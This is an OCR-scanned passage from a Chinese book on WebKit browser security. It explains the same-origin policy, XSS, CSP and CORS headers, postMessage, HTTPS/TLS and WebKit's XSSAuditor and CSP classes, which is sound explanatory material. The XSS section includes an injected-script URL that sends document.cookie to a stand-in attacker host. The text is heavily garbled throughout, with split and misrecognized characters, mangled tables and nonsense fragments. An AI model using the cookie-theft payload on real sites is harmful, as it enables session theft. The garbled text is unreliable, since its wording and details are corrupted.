持 的 众多 更 新 更 复杂 的 技术 ， 但 是 却 极 大 提升 了 HIML5 的 应 用 范围 。 


第 12 章 ”安全 机 制 


安全 机 制 对 于 浏览 器 和 演 染 引擎 来 说 至 关 重 要 。 一 个 不 考虑 安全 机 
制 的 HTIML5 规 范 体系 肯定 不 会 受到 广泛 地 使 用 ， 同 时 一 个 不 安全 的 浏 
览 露 也 不 会 得 到 广大 用 户 的 青睐 。 本 章 介绍 的 安全 机 制 分 成 两 个 不 同 的 
部 分 ， 第 一 个 部 分 是 网 页 的 安全 ， 包 括 但 是 不 限于 网 页 数据 安全 传输 、 
跨 域 访问 、 用 户 数据 安全 等 。 第 二 个 部 分 是 浏览 右 的 安全 ， 有 具体 是 指 虽 
然 网 页 或 者 JavaScript 代 码 有 一 些 安全 问题 或 者 存在 安全 汤 洞 ， 浏 览 器 也 
能 够 在 运行 它们 的 时 候 保 证 目 身 的 安全 ， 不 受到 攻击 从 而 泄露 数据 或 者 
SE RIE SLB 

















12.1 网 页 安全 模型 


12.1.1 安全 模型 基础 








当 用 户 访问 网 页 的 时 候 ， 浏 览 器 需要 确保 该 网 页 中 数据 的 安全 性 ， 
如 Cookie、 用 户 名 和 密码 等 信息 不 会 被 其 他 的 恶意 网 页 所 获取 。 
HIML5 定 义 了 一 系列 安全 机 制 来 保证 网 页 浏览 的 安全 性 ， 这 构成 了 网 
页 的 安全 模型 。 下 面 从 一 个 基础 概念 入 手 来 介绍 这 一 模型 。 


12.1.1.1 i 


在 安全 模型 的 定义 中 ， 域 “Origin ) 这 个 概念 是 非常 重要 的 ， 它 表 
示 的 是 网 页 所 在 的 域名 、 传 输 协 议和 端口 Pod 等 信息 ， 域 是 表明 网 
Na 份 的 重要 标识 。 例 如 一 个 网 页 “http://blog.csdn.net/milado_nju”， 那 
入 它 的 域 是 “http://blog.csdn.net*”， 其 中 “http:* 是 协议 
(Protocol)〉，“blog.csdn.net” 是 域名 (Domain) ， 而 端口 是 默认 的 80。 
读者 打开 Chrome 浏 览 器 的 开发 者 工具 和 控制 台 ， 输 
入 “window.location”， 就 可 以 看 到 如 图 12-1 所 示 关 于 域 的 各 种 信息 。 











i//blog.csdn.net", hash: ""..} 

» ancestoroOrigins: DOMStringList 

> assign: function (} { [mative code] } 
sh: 





> reload: function reload(} { [native code] } 

> replace: function () { [native code] } 
search: "?test=abc 

» toString: function toString() { [native code] } 

» valueOf: function valueof() { [native code] } 

» __proto__: Location 











图 12-1 AR “http://blog. csdn. net/mi lado nju” & “window. location” 42.4 


根据 安全 模型 的 定义 ， 不 同 域 中 网 页 间 的 资源 访问 是 受到 严格 限制 
的 ， 也 就 是 网 页 的 DOM 对 象 、 个 人 数据 、XMLHttpRedquest 等 需要 受到 
控制 ， 默 认 情 况 下 ， 不 同 网 页 间 的 这 些 数 据 是 被 浏览 句 隔 离 的 ， 不 能 互 
相 访 问 ， 这 就 是 HTML 的 “Same origin Policy” 策 略 。 示 例 代 码 12-1 是 一 
个 访问 不 同 域 网 页 的 代码 示例 。 








该 段 代 人 码 是 一 个 简单 的 跨 域 访问 的 例子 ， 首 先 这 个 网 页 是 工作 在 本 
地 、 由 笔者 搭建 的 一 个 简单 http 服 务 器 之 上 ， 这 里 大 家 姑且 认为 这 个 服 
务 器 的 域 是 “http://myweb.com:80”。 网 页 的 JavaScript 代 人 码 试 图 访问 一 
个 “iframe” 元 素 中 的 对 象 ， 也 就 是 “aFrame.contentWindow.document”。 
在 Chrome 浏 览 器 中 ， 当 执行 到 代 
码 “console.log(contentWin.documenb;” 的 时 候 ， 会 出 现 如 下 的 错误 ， 读 
者 可 以 在 控制 台中 找到 这 些 信息 。 


Uncaught SecurityError: Blocked a frame with origin 
"http://myweb.com" from accessing a frame with origin 


"http://blog.csdn.net". Protocols, domains, and ports must match. 


这 有 段 错误 信息 的 含义 是 ， 一 个 在 域 “http://myweb.com” 网 页 中 的 





JavaScript 代 人 码 ， 试 图 访问 “http://blog.csdn.net” 域 中 网 页 的 对 象 ， 这 是 不 
被 允许 的 。 唯 一 允许 的 条 件 (后面 有 其 他 机 制 也 可 以 辅助 实现 跨 域 资 源 
a 是 这 两 个 网 页 在 同一 域 中 ， 根 据 规范 的 定义 ， 当 且 仅 当 它 们 的 协 

、 域 名 和 端口 号 都 相同 的 情况 下 ， 浏 览 器 才 会 允许 它们 之 间 互 相 访 
a 








示例 代码 12-1 跨 域 访问 对 象 的 简单 代码 


<html> <body> 
<div>Cross origin 示例 </div> 
<iframe id="aframe" src="http://blog.csdn.net/milado_nju">< 
<script type="text/javascript"> 
window.onload = function () { 
var aFrame= document.getElementById("aframe"); 
var contentWin = aFrame.contentWindow; 
console. log(contentWin.document ); 
} 
</script> 
</body> 
</html> 





为 什么 要 做 这 些 限制 呢 ? 因为 不 同 域 之 间 的 安全 非常 重要 ， 信 息 很 
容易 泄露 ， 跨 域 〈Cross Origin) 的 攻击 是 网 页 安全 最 主要 的 问题 之 一 。 


12.1.1.2 XSS 





读者 可 以 回忆 一 下 ， 在 第 5 章 的 HIML 解 释 器 中 ， 笔 者 介绍 过 解释 


HTML 构建 DOM 的 过 程 中 ，WebKit 使 用 一 个 叫做 XSSAuditor 的 类 来 做 
安全 方面 的 检查 ， 它 的 作用 是 防止 XSS 攻 击 ， 那 么 什么 是 XSS 呢 ? 


XSS 的 全 称 是 Cross Site Scripting， 其 含义 是 执行 跨 域 的 JavaScript 脚 
本 代码 。 执 行 脚本 这 本 里 没什么 问题 。 但 是 ， 由 于 执行 其 他 域 的 脚本 代 
码 可 能 存在 严重 的 危害 ， 还 有 可 能 会 盗 取 当前 域 中 的 各 种 数据 。 举 个 例 
子 ， 假 如 用 户 不 小 心 单 击 如 下 的 链接 “http://myweb.com/? 
<script>window.open("http://hac.ker.com/?secret=document.cookie") 
</script>”。 如 果 访 网 页 中 存在 漏洞 ， 这 段 网 址 的 输入 可 能 变 成 了 代码 被 
注入 网 页 中 ， 那 么 该 网 页 的 信息 将 会 被 传输 到 另外 一 个 域 中 去 ， 其 中 主 
要 的 原因 是 浏览 器 将 用 户 的 数据 变 成 了 可 以 执行 的 代码 ， 解 决 上 面 问题 
的 一 个 典型 方法 就 是 不 信任 任何 来 自用 户 输入 的 数据 。 对 于 上 面 的 例 
子 ， 可 以 使 用 字符 转换 ， 因 为 “< 二 ”等 字符 在 HTML 中 有 特殊 的 含义 ， 
表示 的 是 元 素 ， 所 以 开发 者 将 用 户 输入 的 数据 进行 字符 转换 ， 那 就 是 
将 “<” 转 换 成 “&lt;”，“>” 转 换 成 “&gt;” 等 ， 这 样 浏览 器 就 不 会 将 它们 作为 
代码 来 执行 。 

















上 面 的 攻击 只 是 网 页 地 址 攻击 类 型 的 一 个 例子 ， 通 过 各 种 方式 和 手 
段 ， 攻 击 者 可 能 利用 网 页 的 漏洞 来 获取 信息 ， 更 多 的 例子 读者 可 以 参考 
如 网 
W “https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet”'? 
所 列举 出 的 各 种 各 样 的 攻击 ， 其 危害 确实 很 大 。 











如 果 所 有 的 威胁 都 要 网 页 开发 者 想方设法 来 避免 ， 这 显然 是 不 现实 
的 ， 因 为 很 难 让 所 有 开发 者 都 注意 到 这 些 攻击 行为 ， 而 且 攻 击 也 在 不 停 
地 演变 。 因 此 ， 在 HIML5 规 范 之 前 ， 路 域 的 资源 共 孚 是 不 极 人 允许 的 ， 
既然 没有 能 力 分 辨 是 否 是 攻击 ， 那 就 阻止 它 ， 这 多 少 有 点 因 喇 上 废 食 的 感 
觉 。 为 此 ， 标 准 组 织 和 WebKit 使 用 了 大 量 的 技术 来 避免 各 种 攻击 的 发 
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段 ， 此 时 ， 浏 览 嚣 会 打开 防止 XSS 攻 击 的 过 滤器 ， 目 前 主要 的 浏览 器 都 
文 持 该 技术 ， 下 面 详细 介绍 这 些 相 关 的 技术 。 


12.1.1.3 CSP 


Content Security Policy 是 一 种 防止 XSS 攻 击 的 技术 ， 它 使 用 HTTP 消 
奶头 来 指定 网 站 《或 者 网 页 ) 能 够 标注 哪些 域 中 的 哪些 类 型 的 资源 被 允 
许 加 载 在 该 域 的 网 页 中 ， 包 括 JavaScript、CSS、HTML Frames、 字 体 、 
RA ARAM Se CUE. Java Applet 等 ) 。 


在 HITP 消 息 头 〈 如 果 读 者 不 熟悉 的 话 ， 建 议 查 阅 HITP 消 息 头 规 
范 ) 中 ， 可 以 使 用 相应 的 字段 来 控制 这 些 域 和 资源 的 访问 ， 其 主要 是 服 
务 器 返回 的 HITP 消 息 头 。 目 前 ， 不 同 浏览 器 中 使 用 不 同 的 字段 名 来 表 
示 ， 主 要 包含 三 种 名 称 : Content-Security-Policy 〈 由 标准 组 织 定 义 ， 目 
前 最 新 的 Chrome 和 Firefox 版 本 都 支持 它 ) 、X-WebKit-CSP〈 实 验 性 的 
字段 名 ， 由 Chrome 和 其 他 基于 WebKit 的 浏览 器 使 用 ) 和 X-Content- 
Security-Policy (Firefox 所 使 用 〉 。 该 字段 的 定义 格式 如 下 所 示 。 





字段 名 : 指令 名 (directive〉 指令 值 ， 指 令 名 指令 值 ，...... 








所 以 该 字段 就 是 包含 一 个 字段 名 及 一 系列 的 “指令 名 十 指令 值 ? 对 的 
列表 。 其 中 指令 名 及 其 含义 如 表 12-1 所 示 ， 共 包括 11 种 类 型 的 指令 来 控 
制 网 页 中 的 各 种 资源 和 安全 行为 。 





表 12-1 CSP 的 指令 名 和 功能 


指令 名 含义 


控制 所 有 资源 ， 如 条 己 经 包含 该 指定 资源 的 指 

E tee 令 ， 那 么 default-src 优 先 级 较 低 。 如 果 没 有 包含 
该 指定 的 指令 ， 那 么 使 用 default-src 指 令 定义 的 
内 容 





script-src 用 于 控制 JavaScript 代 码 
style-src 用 于 控制 CSS 样 式 表 


img-src 用 于 控制 图 片 资源 


PS | Age 后 | 
somes ， 人 WebSocket 等 同 连 


font-src 用 于 控制 字体 资源 


用 于 控制 <embed” “object”, “applet” 等 元 素 加 
object-src 载 的 资源 
media-src 用 于 控制 多 媒体 资源 ， 包 括 音频 和 视频 
frame-src 用 于 控制 可 以 加 载 的 杠 





用 于 控制 网 页 中 是 否 允 许 弹出 对 话 框 ， 插 件 和 
脚本 的 执行 等 ， 值 可 能 是 “allow- 

forms”, “allow-same-origin”、“allow- 

scripts”. “allow-top-navigation” 


sandbox 





report-uri 将 错误 信息 发 送 到 指定 的 URI 


下 面 以 网 页 “http://content-security-policy.com/” 为 例 来 说 明 CSP 的 具 
体 表 示 形 式 。 图 12-2 是 使 用 Chrome 浏 览 右 浏览 该 网 页 所 获取 的 从 服务 器 
返回 的 HITP 消 恩 头 ， 图 中 包括 两 个 字段 ， 分 别 是 “X-Content-Security- 
Policy” 和 “X-WebKit-CSP”， 它 们 的 值 相同 ， 其 原因 主要 是 为 了 兼容 各 








种 浏览 





Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

Date: Sat, 26 Oct 2013 04:49:29 GMT 

Server: Apache 

Transfer-Encoding: chunked 

X-Content-Security-Policy: default-src 'self' www.google-analytics.com netdna. 
bootstrapcdn.com ajax.googleapis.com; object-src 'none'; media-src 'none'; 
frame-sre "nene" connect-sre "none'; 

X-WebKit-CSP: default-src 'self' www.google-analytics.com netdna.bootstrapcdn.com 


ajax.googleapis.com; object-src 'none'; media-src 'none'; frame-src '"none'; 








connect-src 'none'; 





A\12-2. AR “http://content-secur ity—-policy. com/ ”返回 的 HTTP 消 息 头 


下 面 以 a 例 进行 说 明 ， 它 定义 S default- 
src， 访 字段 表明 如 果 没 有 具体 资源 类 型 的 定义 ， 它 允许 自身 的 域 
(Self) ~ “www.google- 





analytics.com”, “netdna.bootstrapcdn.com” fil“ajax.googleapis.com” - 


而 “object-sre” 等 四 个 指令 不 能 加 载 任何 插件 、 首 视频 资源 、 连 接 等 。 


为 了 说 明 浏 览 占 的 支持 情况 ， 该 网 页 和 网 站 特地 访问 了 一 些 违反 上 
面 定 义 的 策略 以 便于 理解 。 下 面 是 该 网 页 运行 在 Chrome 时 报告 的 错误 
之 一 ， 这 是 故意 演示 CSP 功 能 的 结 








Refused to load the stylesheet  ‘http://fonts.googleapis.com/css ? 
family=Ubuntu' because it violates the following Content Security Policy 
directive: "default-src ‘self’ www.google-analytics.com 
netdna.bootstrapcdn.com ajax.googleapis.com". Note that 'style-src' was not 


explicitly set, so 'default-src' is used as a fallback. 


这 段 错 误 消 息 的 含义 是 一 个 样式 资源 被 阻止 。WebKit 处 理 的 过 程 
这 样 的 ， 首 先 查 找 是 否定 义 了 “style-src” 指 令 ， 如 图 12-2 中 所 示 ， i 


没有 定义 该 指令 ， 所 以 使 用 “default-src" 定 义 的 策略 ， 但 是 ， 访 指令 中 并 
没有 允许 该 域 中 的 资源 ， 所 以 它 被 Chrome 浏 览 器 拒绝 。 


12.1.1.4 CORS 


根据 “Same Origin Policy” 原 则 ， 浏 览 堪 做 了 很 多 的 限制 以 阻止 路 域 
的 访问 ， 所 以 器 域 的 资源 共享 又 变 成 了 一 个 问题 。 标 准 组 织 为 了 适应 现 
实 的 需要 ， 制 定 了 CORS (Cross Origin Resource Sharing) 规范 ， 也 就 是 
跨 域 资源 共享 ， 该 规范 也 是 借助 于 HTTP 消 息 头 并 通过 定义 了 一 些 字段 
来 实现 的 ， 主 要 是 定义 不 同 域 之 间 交 互 数据 的 方式 。 


当 某 个 网 页 希望 访问 其 他 域 资 源 的 时 候 ， 束 需要 按照 CORS 定 义 的 
标准 从 一 个 域 访 问 另 外 一 个 域 的 数据 。 比 如 一 个 网 站 http:/myweb.com 
希望 使 用 http:/Vblog.csdn.net 上 的 数据 ， 这 时 就 需要 用 到 CORS。 


CORS 使 用 HTTP 消 息 头 来 摘 述 规范 定义 的 内 容 。 在 描述 使 用 CORS 
的 HITP 消 息 头 之 前 ， 先 解释 一 下 什么 叫 简单 的 HITP 消 县 头 ，HITP 消 
妃 头 是 指 包 含有 限 个 字段 〈 如 Accept、Acceptrlanguage 等 ) 并 且 请 求 类 
型 只 是 HEAD、GET 和 POST。 通 常 简单 的 HTTP 消 息 头 只 需要 较 小 的 代 
价 ， 而 包含 了 CORS 的 消息 头 却 不 是 简单 的 HITP 消 息 头 ， 访 消息 请 求 在 
CROS 里 面 被 称 为 “Preflight”* 消 息 请 求 。 





CORS 使 用 到 的 字段 名 和 功能 如 表 12-2 所 示 ， 其 类 型 可 以 分 成 请 求 
端 和 响应 端 两 种 。 如 果 每 个 HTTP 消 恩 头 都 要 包含 这 些 字 段 ， 那 么 绝对 
是 一 种 浪费 ， 因 为 没有 必要 每 个 HTTP 消 息 头 都 重复 包含 这 些 类 型 ， 为 
此 ， 就 会 使 用 到 “Preflight” 请 求 来 发 送 包 含 CORS 字 段 的 消息 ， 而 其 他 则 
是 简单 的 HITP 消 息 头 。 图 中 的 Access-Control-Max-Age 则 是 表示 Prefight 











请 求 的 有 效 期 ， 在 有 效 期 内 不 需要 重复 发 送 CORS 定 义 字段 的 消息 。 


#12-2 CR0S 规 范 定义 的 字段 名 





字段 名 类 型 含义 


Origin 请 求 端 请 求 端 申明 该 请 求 来 源 于 哪个 域 





Access-Control- 请 求 端的 HTTP 请 求 类 型 ， 如 
Request-Method PUT、GET、HEAD 等 
Access-Control- 一 个 以 “ ”为 分 隔 符 的 列表 ， 表 项 
Request-Headers 是 Å 定义 请 求 的 字段 








Access-Control- 表明 啊 应 端 允 许 的 域 ， 可 以 指定 
Allow-Origi 响应 端 特定 的 域 ， 也 可 以 使 用 ”表示 
Ai 允许 所 有 的 域 请 求 








认 情 况 Cookie 之 类 的 信息 是 不 能 
Access-Control- 1] RE 够 共享 的 ， 但 是 如 果 设 置 该 字 自 
Allow-Credentials 为 真 ， 那 么 Cookie 是 可 以 传输 给 
请 求 端的 











Access-Control- 响应 端 否 骏 露 回 复 消 息 给 XHR， 以 便 
Expose-Headers XHR 能 够 恋 取 啊 应 消息 的 内 容 
Access onro | 响应 端 ”| Prelight 请 求 的 有 效 时 间 
Max-Age 


端 允 许 的 HTTP 请 求 类 型 ， 如 


Access-Control- 
、 
Allow: Methods eT ae 述 的 PUT、GET、HEAD 
sF 


Access-Control- 
ens A He] S Y 啊 应 端 文 持 的 上 自 定 义 字 段 








112-378 1 HICORS HEM ta SCE Sk A I SK, Ze Ml et ok 
am KEE, 7G MEM mA, SEAS Ete EA EEA, IREN 
并 易于 理解 。 











GET feors AYTP/1.1 Access-Control-Allow-Origin: http://myweb.com 







Origin: http://myweb.com Access-Control-Allow-Credentials: true 


Host: blog.csdn.net Access-Control-Expose-Headers: false 
Accept-Language: en-US Content-Type: text/html; charset=utf-8 


Connection: keep-alive 














图 12-3 使 用 CORS 技 术 的 HTTP 消 息 头 








值得 注意 的 是 ， 读 者 不 要 把 CORS 和 CSP 混 淆 ， 它 们 规定 的 是 不 同 
领域 的 标准 ， 处 理 的 是 不 同 的 事情 。 其 主要 的 区 别 在 于 ，CSP 定 义 的 是 
网 页 自身 能 够 访问 的 某 些 域 和 资源 ， 而 CORS 定 义 的 是 一 个 网 页 如 何 才 
能 访问 被 同 源 策 略 禁 止 的 跨 域 资源 ， 规 定 了 两 者 交互 的 协议 和 方式 。 


12.1.1.5 Cross Document Messaging 


到 目前 为 止 ， 通 过 JavaScript 直 接 访问 其 他 域 网 页 的 DOM 结 构 问 题 
还 是 没 得 到 解决 ， 根 据 安 全 要 求 ， 如 果 和 直接 访问 且 不 受 限 ， 似 乎 不 是 
个 行 之 有 效 的 办 法 。 标 准 组 织 的 解决 之 道 是 引入 一 个 消息 传递 机 制 ， 这 


就 是 Cross Document Messaging . 








Cross Document Messaging 定 义 的 是 通过 window.postMessage 接 口 让 
JavaScript 在 不 同 域 的 文档 中 传递 消息 成 为 可 能 ， 示 例 代 码 12-2 在 示例 代 
码 12-1 之 后 ， 演 示 了 如 何 使 用 该 技术 来 传递 消息 。 





示例 代码 12-2 ”使 用 Cross Document Messaging 技 术 来 跨 域 文档 传输 消 
自 


JUN 


http://myweb.com# JavaScript tt: 


contentWin.postMessage(‘Hello’, ‘http://blog.csdn.net’ ); 


http://blog.csdn.net/milado_nju 网 页 中 JavaScript 代 码 ( 假 如 可 以 的 话 
window.addEventListener('message', function receiver(e) { 
if (e.origin == 'http://myweb.com') { 
if (e.data == 'Hello') { 
e.source.postMessage('Hello2', e.origin); 
} else { 


alert(e.data); 


} 
}, false); 


这 的 确 没 有 什么 深奥 的 地 方 ， 该 机 制 使 用 “window” 对 象 的 
postMessage 方 法 来 传递 给 其 他 域 网 页 消息 ， 该 方法 包含 两 个 参数 ， 第 一 
个 是 消息 内 容 ， 第 二 个 是 需要 对 方 的 域 信息 。 而 在 接收 方 ， 开 发 者 在 
JavaScript 代 码 中 注册 一 个 消息 啊 应 函数 ， 如 示例 代码 12-2 所 示 ， 如 果 检 
查 出 消息 来 自 于 “http://myweb.com”， 那 么 就 回复 一 个 “hello2” 消 息 ， 原 
理 非常 简单 。 








12.1.1.6 ”安全 传输 协议 


对 于 用 户 而 言 ， 网 页 的 安全 还 包含 一 个 重要 点 ， 那 就 是 用 户 和 服务 
器 之 间 区 互 数 据 的 安全 性 问题 。 对 于 一 般 的 网 页 而 言 ， 这 些 数据 的 传输 
都 是 使 用 明文 方式 ， 也 就 是 说 它们 对 谁 都 是 可 见 的 ， 这 能 够 满足 大 多 数 











的 使 用 情况 。 但 是 ， 对 于 隐私 的 数据 ， 如 密码 、 银 行 账号 信息 等 ， 如 果 
使 用 明文 来 传输 ， 那 是 非常 危险 的 。 为 此 ，Web 引 入 了 安全 的 数据 传输 
协议 ， 这 如 是 HTTPS。 





HTTPS 是 在 HTTP 协议 之 上 使 用 SSL (Secure Socket Layer) 技术 来 
对 传输 的 数据 进行 加 密 ， 从 而 保证 了 数据 的 安全 性 。SSL 协 议 是 构建 在 
TCP 协 议 之 上 、 应 用 层 协议 HITP 之 下 的 。SSL 工 作 的 主要 流程 是 先进 行 
服务 器 认证 (认证 服务 器 是 安全 可 靠 的 ) ， 然 后 是 用 户 认 证 。SSL 协 议 
主要 是 服务 提供 商 对 用 户 信息 保密 的 承 诡 ， 这 有 利于 提供 丙 而 不 利于 消 
费 者 。 同 时 SSL 还 存在 一 些 问题 ， 例 如 ， 只 能 提供 交易 中 客户 与 服务 器 
间 的 双方 认证 ， 在 涉及 多 方 的 电子 交易 中 ，SSL 协 议 并 不 能 协调 各 方 间 
的 安全 传输 和 信任 关系 。 











TLS (Transport Layer Security) 是 在 SSL3.0 基 础 之 上 发 展 起 来 的 ， 
它 使 用 了 新 的 加 密 算 法 ， 所 以 它 同 HTTPS 之 间 并 不 兼容 。TLS 用 于 两 个 
通信 应 用 程序 之 间 ， 提 供 保 密 性 和 数据 完整 性 ， 该 协议 是 由 两 层 子 协议 
组 成 的 ， 包 括 TLS 记 录 协 议 (TLS Record) 和 TLS 握 手 协议 (TLS 
Handshake) 。 较 低 的 层 为 TLS 记 录 协 议 ， 位 于 TCP 协 议 之 上 。 


TLS 记 录 协 议 用 于 封装 各 种 高 层 协议 。 作 为 这 种 封装 协议 之 一 的 所 
手 协议 允许 服务 器 与 客户 机 在 应 用 程序 协议 传输 和 接收 其 第 一 个 数据 字 
节 前 彼此 认证 ， 协 商 加 密 算法 和 加 密 密 铀 。 





TLS 握 手 协议 具有 三 个 属性 。 其 一 是 可 以 使 用 非 对 称 的 密码 术 来 认 





协商 加 密 是 难以 获得 的 。 此 外 经 过 认证 的 连接 不 能 获得 加 密 ， 即 使 是 进 
入 连接 中 间 的 攻击 者 也 不 能 。 其 三 是 协商 是 可 徘 的 。 如 果 没 有 经 过 通信 
方 成 员 的 检测 ， 任 何 攻击 者 都 不 能 修改 通信 协商 。 





TLS 独 立 于 高 层 协议 ， 如 HTTP 协 议 。 高 层 协议 如 HTTP 协 议 可 以 透 
明 地 分 布 在 TLS 协 议 上 面 。 然 而 ，TLS 标 准 并 没有 规定 应 用 程序 如 何在 
TLS 上 增加 安全 性 ， 它 把 如 何 启动 TLS 握 手 协 议 及 如 何 解 释 交 换 的 认证 
证 书 的 决定 权 留 给 协议 的 设计 者 和 实施 者 来 判断 。 





读者 可 以 自己 回想 一 下 经 常 使 用 的 网 页 ， 如 果 涉 及 到 密码 和 银行 账 
户 信息 ， 但 是 协议 却 不 是 HTTPS 的 话 ， 就 要 小 心 了 ， 因 为 可 能 你 的 所 有 
言 息 都 暴露 在 大 庭 广 众 之 下 ， 盗 窃 者 随时 能 够 轻易 地 获取 这 些 信息 ， 现 
在 就 去 检查 吧 。 





12.1.2 WebKit 的 实现 


上 面 一 次 性 介绍 了 域 的 概念 、XSS、CSP 规 范 和 CORS 规 范 等 
HTML5 为 了 保证 网 页 安全 性 引入 的 一 系列 技术 。 这 些 新 技术 未 必 在 所 
有 的 泻 染 引擎 中 得 到 支持 ， 但 是 WebKit 已 经 提供 了 对 它们 的 支持 ， 下 面 


将 一 一 介绍 。 





首先 是 WebKit 为 了 防止 XSS 攻 击 所 做 的 努力 。 图 12-4 是 WebKit 中 局 
动 XSS 过 滤 功 能 所 使 用 的 相关 基础 设施 。 为 了 防止 XSS 攻 击 ， 需 要 在 解 
释 HTML 的 过 程 中 进行 XSS 过 滤 ， 也 就 是 对 词法 分 析 器 分 析 之 后 的 词语 
(Token) 进行 过 滤 ， 以 发 现 潜 在 的 问题 。 





HTMLDocumentParser 


+pumpTokenizer() 












XS SAuditor XS SAuditorDelegate 
oe m reportURL 


+filterToken() +didBlockScript() 


i i 
generate \ı 1, USE 






-m_didBlockEntirePage 


-m_didSendXSSProtectionHeader 
-m_didSendCSPHeader 














图 12-4 WebKit 中 XSS 过 滤 功 能 的 相关 类 及 其 关系 


基本 的 工作 过 程 是 这 样 的 ， 在 HTMLDocumentParser 类 解释 出 一 个 
词语 之 后 ， 如 果 和 需要 进行 XSS 过 滤 功 能 (这 是 默认 打开 的 ， 当 然 也 可 以 
强制 关闭 ) ， 则 每 一 个 词语 使 用 HTMLDocumentParser 类 的 XSSAuditor 
对 象 来 进行 过 滤 ， 也 就 是 图 中 的 XSSAuditor'::filterToken 函 数 ， 对 于 每 一 
个 词语 ， 该 函数 进行 过 滤 并 生成 相应 的 结果 XSSInfo 对 象 ， 该 对 象 包含 
是 否 需要 阻止 整个 页 面 泻 染 等 信息 。XSSAuditor 不 做 决定 ， 而 是 由 
HTMLDocumentParser 将 这 些 信 息 交 给 XSSAuditorDelegate 类 来 处 理 ， 再 
根据 这 些 信 息 来 生成 报告 ，XSSAuditorDelegate 将 结果 报告 发 送 
给 “report-uri”， 前 面 提 到 过 该 字段 “reportruri”。 





那么 filterToken 中 具体 做 什么 事情 呢 ? XSS 有 很 多 种 攻击 的 类 型 ， 
这 里 主要 包括 对 于 元 素 开 始 和 结束 及 其 属性 的 检查 ， 同 时 对 于 一 些 特定 
类 型 的 词语 进行 过 滤 ， 包 括 input、form、button，iframe、script 等 。 当 
发 现 潜在 危险 的 时 候 ， 再 生成 相应 的 结果 信息 也 就 是 XSSInfo 对 象 。 


其 次 是 CSP 方 面 的 支持 。 图 12-5 是 WebKit 文 持 CSP 所 定义 的 相关 基 
础 设施 ， 同 时 包括 Origin 的 定义 。 其 中 ， 对 于 CSP 文 持 的 主要 部 分 是 
ContentSecurityPolicy 和 SecurityContext 这 两 个 类 。 


SecurityContext ContentSecurityPolicy 
-m_contentSecurityPolicy 
+add PolicyFromHeader Value( ) 


i 













ScriptExecutionContext 





ResourceFetcher 
+canFetch() 











SecurityOrigin +addAdditionalRequestHeaders() 
1 
() 
WebSecurityOrigin | Document | +generateReferrerHeader() 
Private +add OriginAccessWhitelistEntry() 
AN 
' 
WebSecurityOrigin 








图 12-5 WebKit 的 0rigin 定 义 和 支 持 CSP 的 基础 设施 


e ContentSecurityPolicy : 主要 包括 对 于 规范 中 定义 的 各 个 字段 的 解 
释 和 解释 后 内 容 的 保存 ， 如 图 中 的 didReceiveHeader 函 数 就 是 处 理 
服务 器 端的 HITP 消 息 头 。 该 类 将 指令 和 指令 的 内 容 保存 
在 “m_policies” 中 ， 形 成 一 个 列表 。 

e SecurityContext : 文 持 安全 机 制 的 上 下 文 类 ， 包 含 了 Origin 对 象 和 
ContentSecurityPolicy 对 象 ， 其 他 对 CSP 等 的 调用 都 是 通过 该 类 来 获 
取 的 。 





下 面 看 图 12-5 中 最 下 部 分 ， 又 是 两 个 类 WebSecurityOrigin 和 
WebSecurityPolicy， 这 是 WebKit 的 Chromium 移 植 定 义 的 两 个 接口 类 ， 
可 以 被 Chromium 调 用 。 它 们 都 有 内 部 的 实现 ， 具 体 分 别 是 
SecurityOrigin 和 SecurityPolicy。 SecurityOrigin 就 是 规范 中 对 于 Origin 的 





定义 。 而 SecurityPolicy 就 是 对 CSP 策 略 的 定义 ， 通 过 WebSecurityPolicy 
接口 ，Chromium 可 以 自 定义 一 些 策略 并 设置 到 WebKit 中 。 





图 12-5 中 间 部 分 虽然 类 比较 多 ， 但 并 不 是 很 复杂 。 相 信 大 家 对 

Document 类 非常 熟悉 了 ， 它 间接 地 继承 了 SecurityContext 〈 略 过 图 中 的 
ScriptExecutionContext 类 ， 对 于 介绍 安全 机 制 没 有 什么 帮助 ) ， 自 然 
Document 也 继承 了 CSP 的 设置 ， 因 为 Document 会 在 各 处 被 使 用 ， 所 以 这 
样 很 方便 调用 CSP 的 功能 。DOMSecurityPolicy 是 为 了 将 CSP 的 信息 暴露 
到 JavaScript 代 码 中 ， 这 样 JavaScript 代 码 可 以 获取 CSP 定 义 的 内 容 ， 
如 “script-src” 指 令 所 定义 的 允许 访问 的 域 。ResourceFetcher 是 获取 资源 
的 类 ， 根 据 CSP 的 定义 ， 对 于 各 种 类 型 的 资源 ， 在 获取 之 前 都 需要 检查 
该 资源 是 否 在 CSP 定 义 的 允许 范围 内 ， 如 果 不 在 ， 则 拒绝 请 求 ， 并 报告 
错误 。 如 果 在 ， 则 发 起 请 求 ， 该 请 求 需 要 依赖 SecurityPolicy 提 供 的 一 些 
言 轧 。 如 此 ，CSP 规 范 所 定义 的 功能 就 被 完整 文 持 了 。 














最 后 是 CORS 的 支持 ， 图 12-6 是 WebKit 文 持 CORS 所 涉及 的 一 些 
类 。 其 中 最 主要 的 是 CrossOriginAccessControl 部 分 。 它 不 是 一 个 类 ， 里 
面 只 是 包含 了 一 组 全 局 函数 ， 用 来 帮助 生成 符合 CORS 规 苑 

的 “Preflight” 请 求 或 者 其 他 简单 请 求 ， 同 时 包括 处 理 来 自 回复 端的 消 

上 县。 在 WebKit 使 用 WebURLLoader 请 求 的 时 候 ， 使 用 这 些 方法 台 能 够 生 
成 相应 的 请 求 。 


+createAcces sControlPreflightRequest() 
+passesAccessControlCheck(} 
+passesPreflightStatusCheck(} 
+parseAccessControlExposeHeadersAllowList() 











Associated URLLoader 
+loadAsynchronously() 


V 


WebURLLoader 


图 12-6 WebKit 支 持 CORS 规 范 的 基础 设施 


12.2 ” 沙 箱 模型 
12.2.1 原理 


一 般 而 言 ， 对 于 网 络 上 的 网 页 中 的 JavaScript 代 码 和 插件 是 不 受信 的 
《除非 是 经 过 认证 的 网 站 ) ， 特 别 是 一 些 故 意 设计 侵入 浏览 器 运行 的 主 
机 代码 更 是 非常 危险 ， 通 过 一 些 手段 或 者 浏览 器 中 的 漏洞 ， 这 些 代码 可 
能 获取 了 主机 的 管理 权限 ， 这 对 主机 系统 来 说 是 非常 危险 有 的。 所以， 除 
了 保证 网 页 本 喘 之 外 ， 还 需要 保证 浏览 器 和 浏览 器 所 在 的 系统 不 存在 危 


险 。 








对 于 网 络 上 的 网 页 ， 浏 览 器 认为 它们 是 不 安全 的 ， 因 为 网 页 总 是 存 
